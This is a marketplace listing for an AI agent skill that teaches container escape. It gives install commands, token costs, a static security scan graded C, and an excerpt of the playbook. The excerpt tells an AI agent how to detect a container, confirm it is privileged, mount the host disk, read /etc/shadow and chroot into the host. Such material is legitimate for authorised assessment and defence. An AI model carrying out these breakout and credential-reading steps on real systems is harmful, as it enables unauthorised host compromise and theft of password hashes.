container-escape-techniques

A security reference for studying ways software containers—isolated environments such as Docker containers or Kubernetes pods—can be broken out of to reach the host system.

In plain words
What is it for?
Use it when assessing or defending Docker, LXC, or Kubernetes environments. The input describes offensive attack techniques, so it should be used only for authorized security work.
Why use it?
It helps security practitioners recognize container escape risks caused by unsafe settings, excessive permissions, or software flaws.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/miru-zero/zero-brain/container-escape-techniques
Any agent
npx skills add miru-zero/zero-brain --skill container-escape-techniques
Clone the repo
git clone --depth 1 https://github.com/miru-zero/zero-brain

Made for: Claude Code, Codex.

Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,711 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. Scan, not verified.
Origin 92% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00052 $0.02711
Opus 5 $0.00026 $0.01355
Sonnet 5 $0.00010 $0.00542
Haiku 4.5 $0.00005 $0.00271

Measured 2d ago against content hash 4ebf918be012, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

container-escape-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /mnt/host/etc/shadow

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Without CLI (curl only) — create privileged container via API:
Origin

This is a copy

92% identical to container-escape-techniques — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/container-escape-techniques/SKILL.md · 340 lines

How it starts

The opening of the file, as written. The whole thing — 340 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Container Escape Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

Before going deep, consider loading:

Advanced Reference

Also load DOCKER_ESCAPE_CHAINS.md when you need:

  • Step-by-step escape chains for common misconfigurations
  • Docker-in-Docker escape scenarios
  • Kubernetes-specific escape paths with full command sequences

1. AM I IN A CONTAINER?

# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?

Tools for Container Detection

# amicontained: shows container runtime, capabilities, seccomp
./amicontained

# deepce: Docker enumeration and exploit suggester
./deepce.sh

# CDK: all-in-one container pentesting toolkit
./cdk evaluate

2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash

Read the full file on GitHub · 340 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 340 lines · 52 tokens per session scan C 4ebf918be012

Subscribe to this mod's changes

container-escape-techniques is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 15d ago), licensed MIT. It adds 52 tokens to every session and 2,711 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). It is 92% identical to container-escape-techniques, differing in 4 lines, and is treated as a copy.

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